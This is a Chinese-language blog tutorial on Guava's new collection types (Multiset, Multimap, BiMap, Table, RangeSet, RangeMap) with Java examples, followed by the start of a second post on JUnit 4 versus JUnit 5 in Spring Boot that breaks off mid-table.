我们都知道 Set 是无序不重复的，与之相反的是 List 是有序可重复的。Multiset 是几个意思？\n没错 ，Multiset 占据了 List 和 Set 之间的一个灰色地带：允许重复，但是不保证顺序。\n举个例子，使用 JDK 如果我们想：“统计每个单词出现的次数” 一般这样写：\n1Map\u0026lt;String, Integer\u0026gt; counts = new HashMap\u0026lt;String, Integer\u0026gt;(); 2for (String word : words) { 3 Integer count = counts.get(word); 4 if (count == null) { 5 counts.put(word, 1); 6 } else { 7 counts.put(word, count + 1); 8 } 9} 我用 multiset 就轻松多了，比如\n1 List\u0026lt;String\u0026gt; languages = List.of(\u0026#34;java\u0026#34;, \u0026#34;python\u0026#34;, \u0026#34;javascript\u0026#34;, \u0026#34;java\u0026#34;); 2 3 HashMultiset\u0026lt;String\u0026gt; multiset = HashMultiset.create(languages); 4 5 System.out.println(multiset.count(\u0026#34;java\u0026#34;)); //结果是：2 6 System.out.println(multiset.count(\u0026#34;python\u0026#34;)); //结果是：1 7 8 // 如果你想要不重复元素集合，还可以直接转成 Set 9 // Set\u0026lt;String\u0026gt; words = multiset.elementSet(); 如果你用传统的 HashMap 做统计，那么后续如果再增加元素，你想变更统计结果是不还得再写个 for 循环往 Map 添加元素计数？用 Multiset 轻松多了，直接 add 就行：\n1 List\u0026lt;String\u0026gt; languages = List.of(\u0026#34;java\u0026#34;, \u0026#34;python\u0026#34;, \u0026#34;javascript\u0026#34;, \u0026#34;java\u0026#34;); 2 3 HashMultiset\u0026lt;String\u0026gt; multiset = HashMultiset.create(languages); 4 5 multiset.add(\u0026#34;python\u0026#34;); 6 multiset.addAll(Lists.newArrayList(\u0026#34;go\u0026#34;, \u0026#34;java\u0026#34;, \u0026#34;c\u0026#34;)); 7 8 multiset.elementSet().forEach(x -\u0026gt; { 9 System.out.println(x + \u0026#34; 的出现次数： \u0026#34; + multiset.count(x)); 10 }); 结果：\n1python 的出现次数： 2 2java 的出现次数： 3 3c 的出现次数： 1 4go 的出现次数： 1 5javascript 的出现次数： 1 当然如果你的需求比较简单，比如只是简单统计去重后的个数什么的，用 JDK8 以上的流式编程一行代码就能搞定，不用搞这么复杂\n1words.stream().distinct().count(); 下面是 multiset 的一些常用方法：\n方法 描述 count(E) 给定元素在 Multiset 中的计数 elementSet() Multiset 中不重复元素的集合，类型为 Set entrySet() 和 Map 的 entrySet 类似，返回 Set\u0026lt;Multiset.Entry\u0026gt;，其中包含的 Entry 支持 getElement() 和 getCount() 方法 add(E, int) 增加给定元素在 Multiset 中的计数 remove(E, int) 减少给定元素在 Multiset 中的计数 setCount(E, int) 设置给定元素在 Multiset 中的计数，不可以为负数 size() 返回集合元素的总个数（包括重复的元素） Guava 提供了多种 Multiset 的实现，大致对应 JDK 中 Map 的各种实现：\nMap 对应的 Multiset 是否支持 null 元素 HashMap HashMultiset 是 TreeMap TreeMultiset 是（如果 comparator 支持的话） LinkedHashMap LinkedHashMultiset 是 ConcurrentHashMap ConcurrentHashMultiset 否 ImmutableMap ImmutableMultiset 否 总结 使用 Multiset 可以减少 Map 的复杂操作，从而减少代码量，代码量少了，bug 自然少。早点儿下班。\nMultimap 有的时候我们需要一个 key 对应多个 value 的这种结构，通常我们会构造类似这样的数据结构：\nMap\u0026lt;K, List\u0026lt;V\u0026gt;\u0026gt; 或 Map\u0026lt;K, Set\u0026lt;V\u0026gt;\u0026gt; ，甚至可能更复杂，基于这个还有嵌套数据结构。\n如果你需要找到 List 中的某个值是否存在，或者删除 List 中的一个元素 ，又或者要遍历整个数据结构，那么要写一坨代码，老费劲了。\n我们来看用 Multimap 怎么做，比如：\n1 ArrayListMultimap\u0026lt;String, String\u0026gt; multimap = ArrayListMultimap.create(); 2 3 multimap.put(\u0026#34;Fruits\u0026#34;, \u0026#34;Bannana\u0026#34;); 4 multimap.put(\u0026#34;Fruits\u0026#34;, \u0026#34;Apple\u0026#34;); 5 multimap.put(\u0026#34;Fruits\u0026#34;, \u0026#34;Pear\u0026#34;); 6 multimap.put(\u0026#34;Vegetables\u0026#34;, \u0026#34;Carrot\u0026#34;); 7 8 multimap.put(\u0026#34;language\u0026#34;, \u0026#34;java\u0026#34;); 9 multimap.put(\u0026#34;language\u0026#34;, \u0026#34;python\u0026#34;); 10 multimap.put(\u0026#34;language\u0026#34;, \u0026#34;go\u0026#34;); 11 multimap.put(\u0026#34;language\u0026#34;, \u0026#34;python\u0026#34;); 下面是输出的结果：\n{Vegetables=[Carrot], language=[java, python, go, python], Fruits=[Bannana, Apple, Pear, Pear]}\n如果想得到某一个 key 的 value 直接 get 就可以了\n1List\u0026lt;String\u0026gt; language = multimap.get(\u0026#34;language\u0026#34;); 如果你想转回原生的那种数据结构也是可以的，使用 asMap() ：\n1Map\u0026lt;String, Collection\u0026lt;String\u0026gt;\u0026gt; stringCollectionMap = multimap.asMap(); 但要注意，stringCollectionMap 是一个关联的视图，在这个 Map 上的操作会作用于原始的Multimap\n下面是一些可以很方便地修改 multimap 的方法：\n方法签名 描述 等价于 put(K, V) 添加键到单个值的映射 multimap.get(key).add(value) putAll(K, Iterable) 依次添加键到多个值的映射 Iterables.addAll(multimap.get(key), values) remove(K, V) 移除键到值的映射；如果有这样的键值并成功移除，返回 true。 multimap.get(key).remove(value) removeAll(K) 清除键对应的所有值，返回的集合包含所有之前映射到 K 的值，但修改这个集合就不会影响 Multimap 了。 multimap.get(key).clear() replaceValues(K, Iterable) 清除键对应的所有值，并重新把 key 关联到 Iterable 中的每个元素。返回的集合包含所有之前映射到 K 的值。 multimap.get(key).clear(); Iterables.addAll(multimap.get(key), values) 迭代 Multimap Guava MultiMap 提供 keySet(), entries(), values(), keys() 方法类似于 Map 的相应视图集合。\n1// 使用 `keySet()` 方法遍历 Guava 的 `MultiMap` 2for (K key: multimap.keySet()) { 3 System.out.println(key + \u0026#34;: \u0026#34; + multimap.get(key)); 4} 5 6// 使用 `entries()` 方法遍历 Guava 的 `MultiMap` 7for (Map.Entry\u0026lt;K, V\u0026gt; entry: multimap.entries()) { 8 System.out.println(entry.getKey() + \u0026#34;: \u0026#34; + entry.getValue()); 9} 在 Multimap 中查找键/值 Guava 提供了三种方法，即 containsKey(), containsValue() 和 containsEntry() 检查 multimap 是否包含至少一个键值对，分别具有指定的键、指定的值和指定的键值对。\n1 ListMultimap\u0026lt;String, String\u0026gt; multimap = ArrayListMultimap.create(); 2 3 multimap.put(\u0026#34;John\u0026#34;, \u0026#34;Tyler\u0026#34;); 4 multimap.put(\u0026#34;John\u0026#34;, \u0026#34;Kennedy\u0026#34;); 5 multimap.put(\u0026#34;George\u0026#34;, \u0026#34;Washington\u0026#34;); 6 multimap.put(\u0026#34;George\u0026#34;, \u0026#34;Bush\u0026#34;); 7 // 检查 multimap 是否包含至少一个键值对 8 // 以“John”为键 9 if (multimap.containsKey(\u0026#34;John\u0026#34;)) { 10 System.out.println(\u0026#34;Multimap contains the \\\u0026#34;John\\\u0026#34; key\u0026#34;); 11 } 12 // 检查 multimap 是否包含至少一个键值对 13 // 以“Kennedy”为值 14 if (multimap.containsValue(\u0026#34;Kennedy\u0026#34;)) { 15 System.out.println(\u0026#34;Multimap contains the \\\u0026#34;Kennedy\\\u0026#34; value\u0026#34;); 16 } 17 // 检查 multimap 是否包含至少一个键值对 18 // 以“George”为键，以“Washington”为值 19 if (multimap.containsEntry(\u0026#34;George\u0026#34;, \u0026#34;Washington\u0026#34;)) { 20 System.out.println(\u0026#34;Multimap contains the specified mapping\u0026#34;); 21 } 不可变 Multimap Guava’s Multimap 接口有三个不可变的实现—— ImmutableMultimap, ImmutableListMultimap， 和\nImmutableSetMultimap\n1ListMultimap\u0026lt;String, String\u0026gt; immutableMultimap = 2 ImmutableListMultimap.\u0026lt;String, String\u0026gt;builder() 3 .put(\u0026#34;Zachary\u0026#34;, \u0026#34;Taylor\u0026#34;) 4 .put(\u0026#34;John\u0026#34;, \u0026#34;Adams\u0026#34;) 5 .put(\u0026#34;John\u0026#34;, \u0026#34;Tyler\u0026#34;) 6 .put(\u0026#34;John\u0026#34;, \u0026#34;Kennedy\u0026#34;) 7 .put(\u0026#34;George\u0026#34;, \u0026#34;Washington\u0026#34;) 8 .put(\u0026#34;George\u0026#34;, \u0026#34;Bush\u0026#34;) 9 .put(\u0026#34;Grover\u0026#34;, \u0026#34;Cleveland\u0026#34;).build(); 10 11 System.out.println(\u0026#34;John\u0026#34; + \u0026#34;: \u0026#34; + immutableMultimap.get(\u0026#34;John\u0026#34;)); 12 13 try { 14 // 这将失败，因为 map 是不可变的 15 immutableMultimap.put(\u0026#34;Obama\u0026#34;, \u0026#34;Barack\u0026#34;); 16 } 17 catch (UnsupportedOperationException ex) { 18 System.out.print(\u0026#34;java.lang.UnsupportedOperationException thrown\u0026#34;); 19 } Multimap 的各种实现 实现 键行为类似 值行为类似 ArrayListMultimap HashMap ArrayList HashMultimap HashMap HashSet LinkedListMultimap LinkedHashMap LinkedList LinkedHashMultimap LinkedHashMap LinkedHashMap TreeMultimap TreeMap TreeSet ImmutableListMultimap ImmutableMap ImmutableList ImmutableSetMultimap ImmutableMap ImmutableSet 除了两个不可变形式的实现，其他所有实现都支持 null 键和 null 值\n注意 我们可以使用 size() 方法来确定 multimap 中键值对的总数。请注意，此方法不会返回多重映射中不同键的总数。要获得不同键的总数，请考虑使用 keySet().size() 或者 asMap().size().\n总结 如果你有类似上文的复杂数据结构，请使用 Multimap 它的优点超过 java.util.Map。可能有些同学用过 apache 的org.apache.commons.collections4.MultiValuedMap ，我个人感觉 Guava 的更好用。\nBiMap BiMap 提供了一种 key 和 value 的双向关联的数据结构。\n我们知道对于 Map 可能通过 key 获得 value ，但反过来呢，通过 value 怎么取得 key 呢，比较费劲，类似下面代码：\n1 Map\u0026lt;String, String\u0026gt; testMap = Map.of(\u0026#34;language\u0026#34;, \u0026#34;java\u0026#34;, \u0026#34;fruit\u0026#34;, \u0026#34;apple\u0026#34;); 2 //通过 key 获取 value 3 System.out.println(testMap.get(\u0026#34;language\u0026#34;)); 4 5 //通过 value 获取 key 6 for (Map.Entry\u0026lt;String, String\u0026gt; entry : testMap.entrySet()) { 7 8 if (entry.getValue().equals(\u0026#34;java\u0026#34;)){ 9 System.out.println(entry.getKey()); 10 return; 11 } 12 } 你可能会说，不用那么麻烦，我用 stream 一行能搞定，比如：\n1testMap.entrySet().stream().filter(entry -\u0026gt; entry.getValue().equals(\u0026#34;java\u0026#34;)).findFirst().get().getKey() 这个怎么说呢，行是行，代码可读性也挺好，对于熟悉 stream API 的没问题，不熟悉的理解起来有些成本。\n我们来看看用 Guava 的 BiMap 怎么解决：\n1 HashBiMap\u0026lt;String,String\u0026gt; bimap = HashBiMap.create(); 2 3 bimap.put(\u0026#34;language\u0026#34;,\u0026#34;java\u0026#34;); 4 bimap.put(\u0026#34;fruit\u0026#34;,\u0026#34;apple\u0026#34;); 5 6 // 通过 key 获取 value 7 System.out.println(bimap.get(\u0026#34;fruit\u0026#34;)); 8 // 通过 value 获取 key 9 System.out.println(bimap.inverse().get(\u0026#34;apple\u0026#34;)); 是不是感觉很简洁。\n这里要注意：反转的 map 不是新的 map 对象，它实现了一种视图关联，这样你对于反转后的 map 的所有操作都会影响原先的 map 对象\nBiMap 数据的强制唯一性 在使用 BiMap 时，会要求 Value 的唯一性。如果 value 重复了则会抛出错误：java.lang.IllegalArgumentException，例如\n1 HashBiMap\u0026lt;String,String\u0026gt; bimap = HashBiMap.create(); 2 3 bimap.put(\u0026#34;language\u0026#34;,\u0026#34;java\u0026#34;); 4 bimap.put(\u0026#34;fruit\u0026#34;,\u0026#34;apple\u0026#34;); 5 bimap.put(\u0026#34;hello\u0026#34;,\u0026#34;java\u0026#34;); 如果我们确实需要插入重复的 value 值，那可以选择 forcePut 方法。但是我们需要注意的是前面的 key 也会被覆盖了。\nvalue 不能重复，本身 map 的 key 就不是重复的，所以 Bimap 等于即不允许 key 重复，也不允许 value 重复。\nBiMap 的各种实现 Key-Value Map 实现 Value-Key Map 实现 对应 BiMap 的实现 HashMap HashMap HashBiMap ImmutableMap ImmutableMap ImmutableBiMap EnumMap EnumMap EnumBiMap EnumMap HashMap EnumHashBiMap Table 当你想使用多个键做索引的时候，你可能会用类似 Map\u0026lt;FirstName, Map\u0026lt;LastName, Person\u0026raquo;的实现，这种方式很丑陋，使用上也不友好。Guava 为此提供了新集合类型Table，它有两个支持所有类型的键：“行”和“列” ，和 sql 中的联合主键有点像？\n我们看个例子：\n1 // 大学课程座位表 2 Table\u0026lt;String, String, Integer\u0026gt; universityCourseSeatTable 3 = HashBasedTable.create(); 4 universityCourseSeatTable.put(\u0026#34;Mumbai\u0026#34;, \u0026#34;Chemical\u0026#34;, 120); 5 universityCourseSeatTable.put(\u0026#34;Mumbai\u0026#34;, \u0026#34;IT\u0026#34;, 60); 6 universityCourseSeatTable.put(\u0026#34;Harvard\u0026#34;, \u0026#34;Electrical\u0026#34;, 60); 7 universityCourseSeatTable.put(\u0026#34;Harvard\u0026#34;, \u0026#34;IT\u0026#34;, 120); 8 9 int seatCount 10 = universityCourseSeatTable.get(\u0026#34;Mumbai\u0026#34;, \u0026#34;IT\u0026#34;); 11 Integer seatCountForNoEntry 12 = universityCourseSeatTable.get(\u0026#34;Oxford\u0026#34;, \u0026#34;IT\u0026#34;); 通过 “行”和“列” 定位到 value，不需要再像以前一样构造复杂的数据结构以及复杂的遍历代码。\nTable 有如下几种实现：\nHashBasedTable：本质上用 HashMap\u0026lt;R, HashMap\u0026lt;C, V\u0026raquo;实现； TreeBasedTable：本质上用 TreeMap\u0026lt;R, TreeMap\u0026lt;C,V\u0026raquo;实现； ImmutableTable：本质上用 ImmutableMap\u0026lt;R, ImmutableMap\u0026lt;C, V\u0026raquo;实现；注：ImmutableTable 对稀疏或密集的数据集都有优化。 ArrayTable：要求在构造时就指定行和列的大小，本质上由一个二维数组实现，以提升访问速度和密集 Table 的内存利用率 检查元素 1 Table\u0026lt;String, String, Integer\u0026gt; universityCourseSeatTable = HashBasedTable.create(); 2 universityCourseSeatTable.put(\u0026#34;Mumbai\u0026#34;, \u0026#34;Chemical\u0026#34;, 120); 3 universityCourseSeatTable.put(\u0026#34;Mumbai\u0026#34;, \u0026#34;IT\u0026#34;, 60); 4 universityCourseSeatTable.put(\u0026#34;Harvard\u0026#34;, \u0026#34;Electrical\u0026#34;, 60); 5 universityCourseSeatTable.put(\u0026#34;Harvard\u0026#34;, \u0026#34;IT\u0026#34;, 120); 6 7 //行列的组合是否存在 8 boolean entryIsPresent 9 = universityCourseSeatTable.contains(\u0026#34;Mumbai\u0026#34;, \u0026#34;IT\u0026#34;); 10 //列是否存在 11 boolean courseIsPresent 12 = universityCourseSeatTable.containsColumn(\u0026#34;IT\u0026#34;); 13 //行是否存在 14 boolean universityIsPresent 15 = universityCourseSeatTable.containsRow(\u0026#34;Mumbai\u0026#34;); 16 //值是否存在 17 boolean seatCountIsPresent 18 = universityCourseSeatTable.containsValue(60); 删除元素 想要删除元素，也需要通过“行”和“列”的组合\n1universityCourseSeatTable.remove(\u0026#34;Mumbai\u0026#34;, \u0026#34;IT\u0026#34;); 获取子 map 以“行”为 key ，获取 列和值 的 map\n1 Map\u0026lt;String, Integer\u0026gt; harvard = universityCourseSeatTable.row(\u0026#34;Harvard\u0026#34;); 以“列”为 key , 获取 行和值的 map\n1 Map\u0026lt;String, Integer\u0026gt; universitySeatMap = universityCourseSeatTable.column(\u0026#34;IT\u0026#34;); 转换到传统 map 如果你看着 Table 不顺眼了，还可以转换回传统的双层 map 嵌套的数据结构：\n1 Map\u0026lt;String, Map\u0026lt;String, Integer\u0026gt;\u0026gt; courseKeyUniversitySeatMap 2 = universityCourseSeatTable.rowMap(); 3 4 Map\u0026lt;String, Map\u0026lt;String, Integer\u0026gt;\u0026gt; universityKeyCourseSeatMap 5 = universityCourseSeatTable.columnMap(); 6 7 System.out.println(courseKeyUniversitySeatMap); 8 System.out.println(universityKeyCourseSeatMap); 输出：\n1{Mumbai={Chemical=120, IT=60}, Harvard={Electrical=60, IT=120}} 2{Chemical={Mumbai=120}, IT={Mumbai=60, Harvard=120}, Electrical={Harvard=60}} 获得行、列或 value 的集合 1 System.out.println(universityCourseSeatTable.rowKeySet()); 2 System.out.println(universityCourseSeatTable.columnKeySet()); 3 System.out.println(universityCourseSeatTable.values()); 4 5 6 输出： 7 [Mumbai, Harvard] 8 [Chemical, IT, Electrical] 9 [120, 60, 60, 120] 行列转换 1 Table\u0026lt;String, String, Integer\u0026gt; universityCourseSeatTable 2 = HashBasedTable.create(); 3 universityCourseSeatTable.put(\u0026#34;Mumbai\u0026#34;, \u0026#34;Chemical\u0026#34;, 120); 4 universityCourseSeatTable.put(\u0026#34;Mumbai\u0026#34;, \u0026#34;IT\u0026#34;, 60); 5 universityCourseSeatTable.put(\u0026#34;Harvard\u0026#34;, \u0026#34;Electrical\u0026#34;, 60); 6 universityCourseSeatTable.put(\u0026#34;Harvard\u0026#34;, \u0026#34;IT\u0026#34;, 120); 7 8 for (Table.Cell\u0026lt;String, String, Integer\u0026gt; temp : universityCourseSeatTable.cellSet()) { 9 System.out.println(temp.getRowKey() + \u0026#34; \u0026#34; + temp.getColumnKey()+ \u0026#34; \u0026#34; + temp.getValue()); 10 } 11 12 Table\u0026lt;String,String,Integer\u0026gt; tables2= Tables.transpose(universityCourseSeatTable); 13 14 System.out.println(\u0026#34;=====行列转换后=====\u0026#34;); 15 for (Table.Cell\u0026lt;String, String, Integer\u0026gt; temp : tables2.cellSet()) { 16 System.out.println(temp.getRowKey() + \u0026#34; \u0026#34; + temp.getColumnKey()+ \u0026#34; \u0026#34; + temp.getValue()); 17 } 利用cellSet方法可以得到所有的数据行，打印结果，可以看到row和column发生了互换，输出：\n1Mumbai Chemical 120 2Mumbai IT 60 3Harvard Electrical 60 4Harvard IT 120 5=====行列转换后===== 6Chemical Mumbai 120 7IT Mumbai 60 8Electrical Harvard 60 9IT Harvard 120 总结 虽然 Table 底层代码仍然使用的是嵌套 map 结构，但是经过封装使用起来简单多了，如有类似需求可以直接使用 Table，至于应用场景就看大家的需求了，感觉用好了就像用 SQL 操作内存数据库一样，比调用数据库快多了。\nRangeSet 介绍 RangeSet 之前，我们得先了解一下 Guava 的Range 类，其实顾名思义就是表达区间范围，我们看一下它的 type 就明白了：\nRangeSet 类是用来存储一些不为空的也不相交的范围的数据结构。假如需要向 RangeSet 的对象中加入一个新的范围，那么任何相交的部分都会被合并起来，所有的空范围都会被忽略。\n1 RangeSet rangeSet = TreeRangeSet.create(); 2 rangeSet.add(Range.closed(1, 10)); 3 System.out.println(rangeSet); 4 rangeSet.add(Range.closed(2,8)); 5 System.out.println(rangeSet); 6 rangeSet.add(Range.closedOpen(11, 15)); 7 System.out.println(rangeSet); 8 rangeSet.add(Range.open(15, 20)); 9 System.out.println(rangeSet); 10 rangeSet.add(Range.openClosed(0, 0)); 11 System.out.println(rangeSet); 12 rangeSet.remove(Range.open(5, 10)); 13 System.out.println(rangeSet); 输出：\n1{[1‥10]} 2{[1‥10][11‥15)} 3{[1‥10][11‥15)(15‥20)} 4{[1‥5][10‥10][11‥15)(15‥20)} 得到 rangeSet 互补的范围 们可以用 RangeSet 提供的 complement() 方法，rangeSet.complement() 同样是一个 RangeSet，其中的元素也是互不相交、且不为空的 RangeSet，那么 rangeSet 的互补集可以像下面这样来写：\n1RangeSet complement = rangeSet.complement(); 2System.out.println(complement); 3 4输出： 5{(-∞‥1)(5‥10)(10‥11)[15‥15][20‥+∞)} 包含查找 如果想知道某个元素是在 rangeSet 中哪个范围里面，可以这样写：\n1Range integerRange = rangeSet.rangeContaining(17); 2System.out.println(integerRange); 3//输出 (15‥20)，因为 17 被包含在 (15‥20) 中，所以输出这个范围。 如果想知道某个范围是否包含在 rangeSet 的范围中，可以这样写：\n1boolean encloses = rangeSet.encloses(Range.closedOpen(18, 20)); 2System.out.println(encloses);//true. 因为范围 (18,20) 包含在范围 (15,20) 中 3encloses = rangeSet.encloses(Range.closedOpen(5, 20)); 4System.out.println(encloses);//false. 因为范围 (5,20) 不被 rangeSet 中任何范围包含。 RangeMap 看到这个名字，聪明的你一定猜到了，它又是跟 Range 相关的，对，没错。\nRangeMap 是一种集合类型 ( collection type)，它将不相交、且不为空的 Range（key）映射给一个值（Value）。和 RangeSet 不一样，RangeMap 不可以将相邻的区间合并，即使这个区间映射的值是一样的。\n举个例子：\n1 RangeMap\u0026lt;Integer, String\u0026gt; rangeMap = TreeRangeMap.create(); 2 3 rangeMap.put( 4 Range.closed(90, 100), \u0026#34;偏瘦\u0026#34;); 5 rangeMap.put( 6 Range.closed(100, 130), \u0026#34;正常\u0026#34;); 7 rangeMap.put( 8 Range.closed(101, 111), \u0026#34;正常 1\u0026#34;); 9 rangeMap.put( 10 Range.closed(130, 150), \u0026#34;偏胖\u0026#34;); 11 rangeMap.put( 12 Range.closed(150, 180), \u0026#34;肥胖\u0026#34;); 13 14 //正常 1 15 System.out.println(rangeMap.get(103)); 16 17 //[[90..100)=偏瘦，[100..101)=正常，[101..111]=正常 1, (111..130)=正常，[130..150)=偏胖，[150..180]=肥胖] 18 System.out.println(rangeMap); 从输出中我们可以看到，rangeMap 中的每一段 range 都对应着一个 value\nTreeMap 通过上面的代码，我们能看到 TreeMap 的一些特性\nTreeRangeMap 是 RangeMap 的一个实现，保证内部区间不重叠且有序（通过上面的代码能看出来） 如果 TreeRangeMap 要插入的区间与 TreeRangeMap 已保存的区间发生重叠，那么 TreeRangeMap 会对之前的区间切割，保留当前插入区间的完整性 TreeRangeMap 虽然以区间作为键，但 get 方法却以单个值 K 作为参数。此时，TreeRangeMap 会先查找这个 K 对应的区间，然后返回这个区间对应的值 remove remove 方法用来切割 TreeRangeMap 中的键区间\n1）如果 TreeRangeMap 中的某个区间没有被完全删除，那么这个区间只是被切割小，但还是存在于 TreeRangeMap 中 2）如果 TreeRangeMap 中的某个区间被完全删除，那么这个区间和对应的值都被删除掉\nsubRange 和 RangeSet 不一样，RangeMap 没有提供 complement()、contains()、rangeContaining() 以及 encloses() 方法。\n但提供了 subRange ，可以获取一个子区间。\n1 RangeMap\u0026lt;Integer, String\u0026gt; rangeMap = TreeRangeMap.create(); 2 3 rangeMap.put( 4 Range.closed(90, 100), \u0026#34;偏瘦\u0026#34;); 5 rangeMap.put( 6 Range.closed(100, 130), \u0026#34;正常\u0026#34;); 7 rangeMap.put( 8 Range.closed(101, 111), \u0026#34;正常 1\u0026#34;); 9 rangeMap.put( 10 Range.closed(130, 150), \u0026#34;偏胖\u0026#34;); 11 rangeMap.put( 12 Range.closed(150, 180), \u0026#34;肥胖\u0026#34;); 13 14 RangeMap\u0026lt;Integer, String\u0026gt; subRangeMap1 = rangeMap.subRangeMap(Range.closed(1, 80)); 15 RangeMap\u0026lt;Integer, String\u0026gt; subRangeMap2 = rangeMap.subRangeMap(Range.closedOpen(93, 150)); 16 System.out.println(subRangeMap1); 17 System.out.println(subRangeMap2); 输出结果：\n1{} 2{[93..100)=偏瘦，[100..101)=正常，[101..111]=正常 1, (111..130)=正常，[130..150)=偏胖} 从输出结果可以看出，如果要划出的子 Range 和 RangeMap 没有交集，那么返回空，如果有，则返回所有的 Range。\n根据 subRange 的特性我想到了一个实用的场景：\n“\n假设我们的业务是租赁业务（房子、车、录像带等等），比如租车，一辆车在一天的 24 小时内都可能被租走，如何根据用户预约的租赁时间快速判断一辆车在这个时间段是否被占用？\n”\n我们可以把已某辆车哪天的租赁时间段存入 RangeMap ，再调用 subRangeMap 传入预约时间段参数去看有没有交集，如果返回空表明这段时间没被占用，可以租，如果非空则证明有时间冲突不能租。（当然你也可以自己写个贪心算法来解决）\n整体跨度 1 Range\u0026lt;Integer\u0026gt; span = rangeMap.span(); 2 System.out.println(span.lowerEndpoint().intValue()); //90 3 System.out.println(span.upperEndpoint().intValue()); //180 参考 https://www.baeldung.com/guava-rangemap https://www.baeldung.com/java-map-key-from-value https://blog.csdn.net/wypblog/article/details/9363861 https://github.com/google/guava/wiki/NewCollectionTypesExplained https://guava.dev/releases/23.0/api/docs/com/google/common/collect/Multimap.html ","date":"2022-08-08T17:26:09Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-08-08-gen-zhe-guava-xue-java-zhi-xin-ji-he-lei-xing/cover.jpg","permalink":"/p/2022-08-08-gen-zhe-guava-xue-java-zhi-xin-ji-he-lei-xing/","title":"跟着 Guava 学 Java 之 新集合类型"},{"content":"单元测试框架 Java 中，JUnit 和 TestNG 是最受欢迎的单元测试框架。\nJUnit TestNG JUnit 首先是大名鼎鼎的 JUnit ，JUnit 已经成为 Java 应用程序单元测试的事实标准。\nJUnit 是一个开源的 Java 语言的单元测试框架，专门针对 Java 设计，使用最广泛。JUnit 目前最新版本是 5\nJUnit5 的组成：JUnit 5 = JUnit Platform + JUnit Jupiter + JUnit Vintage\nJUnit5 建议使用 Java8 及以上版本\nJUnit Platform 是在 JVM 上启动测试框架的基础，它定义了TestEngine在平台运行的新测试框架的 API JUnit Jupiter 它用于编写测试代码的新的编程和扩展模型。它具有所有新的 Junit 注释和TestEngine实现来运行这些注释编写的测试。 JUnit Vintage JUnit4 已经存在了很长时间，并且有许多以 JUnit4 编写的测试。JUnit Jupiter 还需要支持这些测试。为此，开发了 JUnit Vintage 子项目。提供了一个测试引擎，用于在平台上运行基于 JUnit 3 和 JUnit 4 的测试。它要求 JUnit 4.12 或更高版本出现在类路径或模块路径中。从它的名字 Vintage（古老的；古色古香的）中也能有所体会。 简单例子 我们先来个最简单的例子，别看简单，很多人会犯错\n1@SpringBootTest 2@RunWith(SpringRunner.class) 3public class JunitTest { 4 @Test 5 public void testJunit(){ 6 System.out.println(\u0026#34;junit test\u0026#34;); 7 } 8} 很简单对吧，如果你用了 SpringBoot 简单到好像没啥说的，其实不然，我们来聊聊：\n首先，这段代码使用的是 JUnit 4 还是 JUnit5 ? 你可能会觉得，4 和 5 没啥区别吧，用哪个不一样吗？代码能跑不就行了？\n不是的，4 和 5 肯定有区别这个不用我说了。能跑没问题，但如果你不管是 4 还是 5 都认为一样，API 混用，甚至乱用，那这时候测试出现的各种报错，导致你很懵逼，而且不知道为什么，一通乱查也不知所然。\n上面这段代码其实是 JUnit 4 版本，我们看一下 import 就一目了然了，然而可能你在开发的时候没太注意这里是 4 还是 5\n1import org.junit.Test; 2import org.junit.runner.RunWith; 3import org.springframework.boot.test.context.SpringBootTest; 4import org.springframework.test.context.junit4.SpringRunner; 这里确定了，使用的是 4 的版本，这里有几个要注意的点：\n@Test的包是org.junit.Test ，不要搞错了，因为有好几个同名包 需要@RunWith(SpringRunner.class) 测试类和测试方法需要public修饰 我们看下完整的例子：\n1import org.junit.Test; 2import org.junit.runner.RunWith; 3import org.springframework.boot.test.context.SpringBootTest; 4import org.springframework.test.context.junit4.SpringRunner; 5 6@SpringBootTest 7@RunWith(SpringRunner.class) 8public class JunitTest { 9 @Test 10 public void testJunit(){ 11 System.out.println(\u0026#34;junit test \u0026#34;); 12 } 13} 这里强调下环境 ，springboot2.2.x 之前支持 JUnit 4\n上面有一点提到了 需要 public 修饰的问题，这不很正常吗，为什么要强调？\n那是因为 JUnit 5 不需要了，我们看一下用 JUnit 5 来实现的同样的例子 (SpringBoot 2.2.x 之后支持 JUnit 5)：\n1import org.junit.jupiter.api.Test; 2import org.springframework.boot.test.context.SpringBootTest; 3 4@SpringBootTest 5class JunitTest { 6 @Test 7 void testJunit5(){ 8 System.out.println(\u0026#34;junit5\u0026#34;); 9 } 10} 这么简单吗？对，就是这么简单，所以我说 4 和 5 不一样。我们来看区别的地方：\n@Test的包是org.junit.jupiter.api.Test 不需要@RunWith(SpringRunner.class) 测试类和测试方法不需要public修饰 我见过很多同学在写测试用例时出现的所谓诡异问题，都是因为他自己都没搞清楚用的是 4 还是 5 的情况下将 4 和 5 混用导致的。\n如果你的测试用例是 4 ，可以迁移到 5 了，有关 JUnit 4 迁移到 JUnit5 的话题可以参考这篇文章 ，通过工具可能节省很多时间：https://blog.jetbrains.com/idea/2020/08/migrating-from-junit-4-to-junit-5/\n我们再来看一下 pom 依赖这里，你是不是经常看到有关 test 的依赖是这样写的：\n1\u0026lt;dependency\u0026gt; 2 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;spring-boot-starter-test\u0026lt;/artifactId\u0026gt; 4 \u0026lt;scope\u0026gt;test\u0026lt;/scope\u0026gt; 5 \u0026lt;exclusions\u0026gt; 6 \u0026lt;exclusion\u0026gt; 7 \u0026lt;groupId\u0026gt;org.junit.vintage\u0026lt;/groupId\u0026gt; 8 \u0026lt;artifactId\u0026gt;junit-vintage-engine\u0026lt;/artifactId\u0026gt; 9 \u0026lt;/exclusion\u0026gt; 10 \u0026lt;/exclusions\u0026gt; 11\u0026lt;/dependency\u0026gt; 为啥？为什么要排除 junit-vintage-engine ？如果你认真阅读了前文，你应该能猜到为什么了。\nJUnit Vintage 是为了兼容 3 和 4 的一个 engine，如果我们的测试代码都用 5 实现，不需要兼容 3 和 4 ，那要它干嘛？当然是干掉呀，哈哈。\n但如果你需要兼容，那请不要那么鲁莽。上面的这段 dependency 主要用于 spring-boot-starter-test 的 2.2.x 和 2.3.x 版本中。spring-boot-starter-test 2.4.x 版本中，已经不再包含 junit-vintage-engine 这个依赖项了\n常规套路 Annotations 描述 @BeforeEach 在方法上注解，在每个测试方法运行之前执行。 @AfterEach 在方法上注解，在每个测试方法运行之后执行 @BeforeAll 该注解方法会在所有测试方法之前运行，该方法必须是静态的。 @AfterAll 该注解方法会在所有测试方法之后运行，该方法必须是静态的。 @Test 用于将方法标记为测试方法 @DisplayName 用于为测试类或测试方法提供任何自定义显示名称 @Disable 